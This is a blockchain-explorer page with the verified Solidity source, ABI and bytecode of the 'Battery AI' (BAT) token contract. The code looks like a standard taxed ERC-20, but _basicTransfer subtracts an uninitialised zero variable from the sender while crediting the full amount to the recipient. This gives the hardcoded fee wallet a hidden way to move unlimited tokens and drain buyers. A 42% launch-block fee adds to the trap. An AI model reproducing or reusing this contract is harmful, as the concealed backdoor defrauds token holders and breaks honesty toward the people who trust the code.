ETH Price: $3,641.33 (+0.77%)
 

Overview

Max Total Supply

100,000,000 BAT

Holders

92

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
1,730,175.083057307170981226 BAT

Value
$0.00
0x22a95f07da3341e348bab4b75402a63fd0ce7913
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BatteryAI

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-03-29
*/

// SPDX-License-Identifier: MIT

/*
    Web      : https://batteryai.loans
    DApp     : https://app.batteryai.loans
    Docs     : https://docs.batteryai.loans

    Twitter  : https://twitter.com/BatteryAIX
    Telegram : https://t.me/batteryai_official

*/

pragma solidity 0.8.19;

abstract contract Context {
    constructor() {
    }

    function _msgSender() internal view returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view returns (bytes memory) {
        this;
        return msg.data;
    }
}


library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _setOwner(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IFactoryV2 {
    event PairCreated(address indexed token0, address indexed token1, address lpPair, uint);
    function getPair(address tokenA, address tokenB) external view returns (address lpPair);
    function createPair(address tokenA, address tokenB) external returns (address lpPair);
}

interface IRouter01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function swapExactETHForTokens(
        uint amountOutMin, 
        address[] calldata path, 
        address to, uint deadline
    ) external payable returns (uint[] memory amounts);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IRouter02 is IRouter01 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function getOwner() external view returns (address);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

contract BatteryAI is Context, Ownable, IERC20 {
    using SafeMath for uint256;

    function totalSupply() external pure override returns (uint256) { if (_totalSupply == 0) { revert(); } return _totalSupply; }
    function decimals() external pure override returns (uint8) { if (_totalSupply == 0) { revert(); } return _decimals; }
    function symbol() external pure override returns (string memory) { return _symbol; }
    function name() external pure override returns (string memory) { return _name; }
    function getOwner() external view override returns (address) { return owner(); }
    function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }
    function balanceOf(address account) public view override returns (uint256) {
        return balance[account];
    }

    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _noBatteryFee;
    mapping (address => bool) private isLpPair;
    mapping (address => uint256) private balance;

    uint8 constant private _decimals = 18;
    uint256 constant public _totalSupply = 100_000_000 * 10**18;        
    uint256 private constant onePercent = 1000000 * 10**_decimals; // 1% from Liquidity 
    uint256 public maxWalletAmount = onePercent * 2;               // 2% max wallet at launch
    uint256 public swapThreshold = 420 * 10**_decimals;

    uint256 constant public buyfee = 0;        
    uint256 constant public sellfee = 5;

    uint256 constant public initialBatFee = 42;
    uint256 constant public fee_denominator = 100;
    
    uint256 constant private burnFee = 0;
    uint256 constant private burnDenominator = 100;
    address payable private  batteryFees = payable(0xf97c898fa75022970FBF0B284f0E0c00d243993F); // Battery AI Fees

    IRouter02 public swapRouter;
    string constant private _name = "Battery AI";
    string constant private _symbol = "BAT";    
    address constant public DEAD = 0x000000000000000000000000000000000000dEaD;

    address public lpPair;
    bool private inSwap;
    
    uint256 private launchedAt;
    uint256 private launchDelay = 2;
    bool private launch = false;

    modifier inSwapFlag {
        inSwap = true;
        _;
        inSwap = false;
    }

    event updateBatteryThresold(uint256 amount);

    constructor () {
        _noBatteryFee[msg.sender] = true;
        _noBatteryFee[address(this)] = true;
        _noBatteryFee[batteryFees] = true;
        
        balance[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    function createBatteryPairs() external onlyOwner {

        require(!launch,"Already Battery AI launched!");

        swapRouter = IRouter02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // Uniswap V2 Router
        
        _approve(address(this), address(swapRouter), _totalSupply);
        lpPair = IFactoryV2(swapRouter.factory()).createPair(address(this), swapRouter.WETH());
        isLpPair[lpPair] = true;
        swapRouter.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(lpPair).approve(address(swapRouter), type(uint).max);
    }

    receive() external payable {}

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function approve(address spender, uint256 amount) external override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function _approve(address sender, address spender, uint256 amount) internal {
        require(sender != address(0), "ERC20: Zero Address");
        require(spender != address(0), "ERC20: Zero Address");
        _allowances[sender][spender] = amount;
    }

    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        if (_allowances[sender][msg.sender] != type(uint256).max) {
            _allowances[sender][msg.sender] -= amount;
        }

        return _transfer(sender, recipient, amount);
    }

    function isNoBatteryFeeWalletX(address account) external view returns(bool) {
        return _noBatteryFee[account];
    }

    function is_BatterySell(address ins, address out) internal view returns (bool) { 
        bool _is_sell = isLpPair[out] && !isLpPair[ins];
        return _is_sell;
    }

    function isNoBatteryInternalFees(address ins) internal view returns (bool) {
        return _noBatteryFee[ins] && ins!=owner() && ins!=address(this);
    }

    function _basicTransfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal returns (bool) {
        uint256 amounts;
        balance[sender] = balance[sender].sub(
            amounts,
            "Insufficient Balance"
        );
        balance[recipient] = balance[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function _transfer(address from, address to, uint256 amount) internal returns  (bool) {
        bool takeFee = true;
        require(to != address(0), "ERC20: transfer to the zero address");
        require(from != address(0), "ERC20: transfer from the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        if(isNoBatteryInternalFees(from)) {
            return _basicTransfer(from, to, amount);
        }

        if (_noBatteryFee[from] || _noBatteryFee[to]){
            takeFee = false;
        } else {
            require(launch, "Trading is not opened!");

            if(is_BatterySell(from, to) &&  !inSwap) {
                uint256 tokensToSwap = balanceOf(address(this));
                if(tokensToSwap >= swapThreshold && !inSwap) { 
                    if (tokensToSwap > onePercent) {
                        tokensToSwap = onePercent;
                    }                
                    internalSwap(amount, tokensToSwap);
                }
            } else {
                require(balanceOf(to) + amount <= maxWalletAmount, "Max wallet 2% at launch");
            }
        }

        balance[from] -= amount;
        uint256 amountAfterFee = (takeFee) ? takeBatteryTaxes(from, is_BatterySell(from, to), amount) : amount;
        balance[to] += amountAfterFee; 
        emit Transfer(from, to, amountAfterFee);

        return true;
    }

    function internalSwap(uint256 contractBalance, uint256 tokensForSwap) internal inSwapFlag {
        
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = swapRouter.WETH();

        if (_allowances[address(this)][address(swapRouter)] != type(uint256).max) {
            _allowances[address(this)][address(swapRouter)] = type(uint256).max;
        }

        if(contractBalance > swapThreshold) {
            try swapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
                tokensForSwap,
                0,
                path,
                address(this),
                block.timestamp
            ) {} catch {
                return;
            }

            uint256 ethForMarketing = address(this).balance;
            batteryFees.transfer(ethForMarketing);
        }
    }

        function removeBatteryLimits() external onlyOwner {
        maxWalletAmount = _totalSupply;
    }

    function takeBatteryTaxes(address from, bool issell, uint256 amount) internal returns (uint256) {

        uint256 fee;
        if (block.number < launchedAt + launchDelay) {
            fee = initialBatFee;
        } else {
            fee = buyfee;
            if (issell)  fee = sellfee;
        }

        if (fee == 0)  return amount; 

        uint256 feeAmount = amount * fee / fee_denominator;
        if (feeAmount > 0) {
            uint256 burnAmount = amount * burnFee / burnDenominator;
            balance[address(this)] += feeAmount;
            emit Transfer(from, address(this), feeAmount);

            if(burnAmount > 0) {
                balance[address(this)] -= burnAmount;
                balance[address(DEAD)] += burnAmount;
                emit Transfer(address(this), DEAD, burnAmount);
            }
        }
        return amount - feeAmount;
    }


    function changeBatteryThreshold(uint256 amount) external onlyOwner {
        require(amount >= 100,"Amount lower not accepted.");
        swapThreshold = amount;
        emit updateBatteryThresold(swapThreshold);
    }

    function withdrawStuckEthBalance() external onlyOwner {
        require(address(this).balance > 0, "No Balance to withdraw!");
        payable(msg.sender).transfer(address(this).balance);
    }

    function enableTrading() external onlyOwner {
        require(!launch,"Already launched!");

        launch = true;
        launchedAt = block.number;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"updateBatteryThresold","type":"event"},{"inputs":[],"name":"DEAD","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyfee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"changeBatteryThreshold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"createBatteryPairs","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"fee_denominator","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"initialBatFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isNoBatteryFeeWalletX","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lpPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeBatteryLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellfee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapRouter","outputs":[{"internalType":"contract IRouter02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawStuckEthBalance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052620000126012600a6200029d565b6200002190620f4240620002b5565b6200002e906002620002b5565b6005556200003f6012600a6200029d565b6200004d906101a4620002b5565b600655600780546001600160a01b03191673f97c898fa75022970fbf0b284f0e0c00d243993f1790556002600b55600c805460ff191690553480156200009257600080fd5b506200009e3362000138565b3360008181526002602090815260408083208054600160ff19918216811790925530855282852080548216831790556007546001600160a01b0316855282852080549091169091179055838352600482528083206a52b7d2dcc80cd2e40000009081905590519081527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3620002cf565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620001df578160001904821115620001c357620001c362000188565b80851615620001d157918102915b93841c9390800290620001a3565b509250929050565b600082620001f85750600162000297565b81620002075750600062000297565b81600181146200022057600281146200022b576200024b565b600191505062000297565b60ff8411156200023f576200023f62000188565b50506001821b62000297565b5060208310610133831016604e8410600b841016171562000270575081810a62000297565b6200027c83836200019e565b806000190482111562000293576200029362000188565b0290505b92915050565b6000620002ae60ff841683620001e7565b9392505050565b808202811582820484141762000297576200029762000188565b611b6180620002df6000396000f3fe6080604052600436106101c65760003560e01c8063893d20e8116100f7578063c0321e2411610095578063dd62ed3e11610064578063dd62ed3e146104ce578063e9451f5f14610514578063eadc5cf814610529578063f2fde38b1461056257600080fd5b8063c0321e241461046f578063c31c9c0714610484578063cd89ea70146104a4578063dc9d75b0146104b957600080fd5b806395d89b41116100d157806395d89b41146103f8578063a9059cbb14610424578063aa4bde2814610444578063b53457c61461045a57600080fd5b8063893d20e8146103c55780638a8c523c146103e35780638da5cb5b146103c557600080fd5b806323b872dd11610164578063452ed4f11161013e578063452ed4f11461034557806360cad12a1461036557806370a082311461037a578063715018a6146103b057600080fd5b806323b872dd146102ea578063313ce5671461030a5780633eaaf86b1461032657600080fd5b806306fdde03116101a057806306fdde031461024b578063095ea7b31461028757806318160ddd146102b75780631dc36945146102d557600080fd5b806303ebb3d4146101d257806303fd2a45146101f45780630445b6671461022757600080fd5b366101cd57005b600080fd5b3480156101de57600080fd5b506101f26101ed36600461173b565b610582565b005b34801561020057600080fd5b5061020a61dead81565b6040516001600160a01b0390911681526020015b60405180910390f35b34801561023357600080fd5b5061023d60065481565b60405190815260200161021e565b34801561025757600080fd5b5060408051808201909152600a8152694261747465727920414960b01b60208201525b60405161021e9190611754565b34801561029357600080fd5b506102a76102a23660046117b7565b610641565b604051901515815260200161021e565b3480156102c357600080fd5b506a52b7d2dcc80cd2e400000061023d565b3480156102e157600080fd5b5061023d600081565b3480156102f657600080fd5b506102a76103053660046117e3565b610658565b34801561031657600080fd5b506040516012815260200161021e565b34801561033257600080fd5b5061023d6a52b7d2dcc80cd2e400000081565b34801561035157600080fd5b5060095461020a906001600160a01b031681565b34801561037157600080fd5b506101f26106d2565b34801561038657600080fd5b5061023d610395366004611824565b6001600160a01b031660009081526004602052604090205490565b3480156103bc57600080fd5b506101f261077b565b3480156103d157600080fd5b506000546001600160a01b031661020a565b3480156103ef57600080fd5b506101f26107b1565b34801561040457600080fd5b5060408051808201909152600381526210905560ea1b602082015261027a565b34801561043057600080fd5b506102a761043f3660046117b7565b610835565b34801561045057600080fd5b5061023d60055481565b34801561046657600080fd5b5061023d602a81565b34801561047b57600080fd5b506101f261084c565b34801561049057600080fd5b5060085461020a906001600160a01b031681565b3480156104b057600080fd5b506101f2610887565b3480156104c557600080fd5b5061023d606481565b3480156104da57600080fd5b5061023d6104e9366004611841565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b34801561052057600080fd5b5061023d600581565b34801561053557600080fd5b506102a7610544366004611824565b6001600160a01b031660009081526002602052604090205460ff1690565b34801561056e57600080fd5b506101f261057d366004611824565b610c34565b6000546001600160a01b031633146105b55760405162461bcd60e51b81526004016105ac9061187a565b60405180910390fd5b60648110156106065760405162461bcd60e51b815260206004820152601a60248201527f416d6f756e74206c6f776572206e6f742061636365707465642e00000000000060448201526064016105ac565b60068190556040518181527f012a655509ffa9bc3efd2889d4a046de10822813221186ec6a5b5757511657bb9060200160405180910390a150565b600061064e338484610ccc565b5060015b92915050565b6001600160a01b0383166000908152600160209081526040808320338452909152812054600019146106bd576001600160a01b0384166000908152600160209081526040808320338452909152812080548492906106b79084906118c5565b90915550505b6106c8848484610d90565b90505b9392505050565b6000546001600160a01b031633146106fc5760405162461bcd60e51b81526004016105ac9061187a565b6000471161074c5760405162461bcd60e51b815260206004820152601760248201527f4e6f2042616c616e636520746f2077697468647261772100000000000000000060448201526064016105ac565b60405133904780156108fc02916000818181858888f19350505050158015610778573d6000803e3d6000fd5b50565b6000546001600160a01b031633146107a55760405162461bcd60e51b81526004016105ac9061187a565b6107af600061115b565b565b6000546001600160a01b031633146107db5760405162461bcd60e51b81526004016105ac9061187a565b600c5460ff16156108225760405162461bcd60e51b8152602060048201526011602482015270416c7265616479206c61756e636865642160781b60448201526064016105ac565b600c805460ff1916600117905543600a55565b6000610842338484610d90565b5060019392505050565b6000546001600160a01b031633146108765760405162461bcd60e51b81526004016105ac9061187a565b6a52b7d2dcc80cd2e4000000600555565b6000546001600160a01b031633146108b15760405162461bcd60e51b81526004016105ac9061187a565b600c5460ff16156109045760405162461bcd60e51b815260206004820152601c60248201527f416c72656164792042617474657279204149206c61756e63686564210000000060448201526064016105ac565b600880546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556109449030906a52b7d2dcc80cd2e4000000610ccc565b600860009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610997573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109bb91906118d8565b6001600160a01b031663c9c6539630600860009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a1d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a4191906118d8565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610a8e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ab291906118d8565b600980546001600160a01b039283166001600160a01b031990911681179091556000908152600360205260409020805460ff191660011790556008541663f305d7194730610b15816001600160a01b031660009081526004602052604090205490565b600080610b2a6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610b92573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610bb791906118f5565b505060095460085460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610c10573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107789190611923565b6000546001600160a01b03163314610c5e5760405162461bcd60e51b81526004016105ac9061187a565b6001600160a01b038116610cc35760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105ac565b6107788161115b565b6001600160a01b038316610d185760405162461bcd60e51b815260206004820152601360248201527245524332303a205a65726f204164647265737360681b60448201526064016105ac565b6001600160a01b038216610d645760405162461bcd60e51b815260206004820152601360248201527245524332303a205a65726f204164647265737360681b60448201526064016105ac565b6001600160a01b0392831660009081526001602090815260408083209490951682529290925291902055565b600060016001600160a01b038416610df65760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105ac565b6001600160a01b038516610e5a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105ac565b60008311610ebc5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105ac565b610ec5856111ab565b15610edd57610ed58585856111fb565b9150506106cb565b6001600160a01b03851660009081526002602052604090205460ff1680610f1c57506001600160a01b03841660009081526002602052604090205460ff165b15610f2957506000611091565b600c5460ff16610f745760405162461bcd60e51b815260206004820152601660248201527554726164696e67206973206e6f74206f70656e65642160501b60448201526064016105ac565b610f7e85856112d3565b8015610f945750600954600160a01b900460ff16155b1561101657306000908152600460205260409020546006548110801590610fc55750600954600160a01b900460ff16155b1561101057610fd66012600a611a29565b610fe390620f4240611a38565b81111561100657610ff66012600a611a29565b61100390620f4240611a38565b90505b611010848261131e565b50611091565b60055483611039866001600160a01b031660009081526004602052604090205490565b6110439190611a4f565b11156110915760405162461bcd60e51b815260206004820152601760248201527f4d61782077616c6c6574203225206174206c61756e636800000000000000000060448201526064016105ac565b6001600160a01b038516600090815260046020526040812080548592906110b99084906118c5565b9091555060009050816110cc57836110e0565b6110e0866110da88886112d3565b86611528565b6001600160a01b03861660009081526004602052604081208054929350839290919061110d908490611a4f565b92505081905550846001600160a01b0316866001600160a01b0316600080516020611b0c8339815191528360405161114791815260200190565b60405180910390a350600195945050505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b03811660009081526002602052604081205460ff1680156111e157506000546001600160a01b03838116911614155b801561065257506001600160a01b03821630141592915050565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600490915291822054829161124f919083906116a2565b6001600160a01b03808716600090815260046020526040808220939093559086168152205461127e90846116dc565b6001600160a01b038086166000818152600460205260409081902093909355915190871690600080516020611b0c833981519152906112c09087815260200190565b60405180910390a3506001949350505050565b6001600160a01b038116600090815260036020526040812054819060ff16801561131657506001600160a01b03841660009081526003602052604090205460ff16155b949350505050565b6009805460ff60a01b1916600160a01b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061136657611366611a62565b6001600160a01b03928316602091820292909201810191909152600854604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156113bf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113e391906118d8565b816001815181106113f6576113f6611a62565b6001600160a01b03928316602091820292909201810191909152306000908152600182526040808220600854909416825292909152205460001914611460573060009081526001602090815260408083206008546001600160a01b03168452909152902060001990555b6006548311156115155760085460405163791ac94760e01b81526001600160a01b039091169063791ac947906114a3908590600090869030904290600401611a78565b600060405180830381600087803b1580156114bd57600080fd5b505af19250505080156114ce575060015b6114d85750611517565b60075460405147916001600160a01b03169082156108fc029083906000818181858888f19350505050158015611512573d6000803e3d6000fd5b50505b505b50506009805460ff60a01b19169055565b600080600b54600a5461153b9190611a4f565b43101561154a5750602a611557565b5060008315611557575060055b8060000361156857829150506106cb565b600060646115768386611a38565b6115809190611ae9565b9050801561168e57600060646115968287611a38565b6115a09190611ae9565b306000908152600460205260408120805492935084929091906115c4908490611a4f565b909155505060405182815230906001600160a01b03891690600080516020611b0c8339815191529060200160405180910390a3801561168c57306000908152600460205260408120805483929061161c9084906118c5565b909155505061dead600090815260046020527f42c63635470f1fb1d6d4b6441c413cb435b1ebb6fedd1896dd5e25d1399147dd805483929061165f908490611a4f565b909155505060405181815261dead903090600080516020611b0c8339815191529060200160405180910390a35b505b61169881856118c5565b9695505050505050565b600081848411156116c65760405162461bcd60e51b81526004016105ac9190611754565b5060006116d384866118c5565b95945050505050565b6000806116e98385611a4f565b9050838110156106cb5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105ac565b60006020828403121561174d57600080fd5b5035919050565b600060208083528351808285015260005b8181101561178157858101830151858201604001528201611765565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461077857600080fd5b600080604083850312156117ca57600080fd5b82356117d5816117a2565b946020939093013593505050565b6000806000606084860312156117f857600080fd5b8335611803816117a2565b92506020840135611813816117a2565b929592945050506040919091013590565b60006020828403121561183657600080fd5b81356106cb816117a2565b6000806040838503121561185457600080fd5b823561185f816117a2565b9150602083013561186f816117a2565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b81810381811115610652576106526118af565b6000602082840312156118ea57600080fd5b81516106cb816117a2565b60008060006060848603121561190a57600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561193557600080fd5b815180151581146106cb57600080fd5b600181815b80851115611980578160001904821115611966576119666118af565b8085161561197357918102915b93841c939080029061194a565b509250929050565b60008261199757506001610652565b816119a457506000610652565b81600181146119ba57600281146119c4576119e0565b6001915050610652565b60ff8411156119d5576119d56118af565b50506001821b610652565b5060208310610133831016604e8410600b8410161715611a03575081810a610652565b611a0d8383611945565b8060001904821115611a2157611a216118af565b029392505050565b60006106cb60ff841683611988565b8082028115828204841417610652576106526118af565b80820180821115610652576106526118af565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611ac85784516001600160a01b031683529383019391830191600101611aa3565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611b0657634e487b7160e01b600052601260045260246000fd5b50049056feddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa2646970667358221220cca3f5a2544f1c118cd5aebed58c0c36a3f057993c36929f241c97cf625dfb2f64736f6c63430008130033

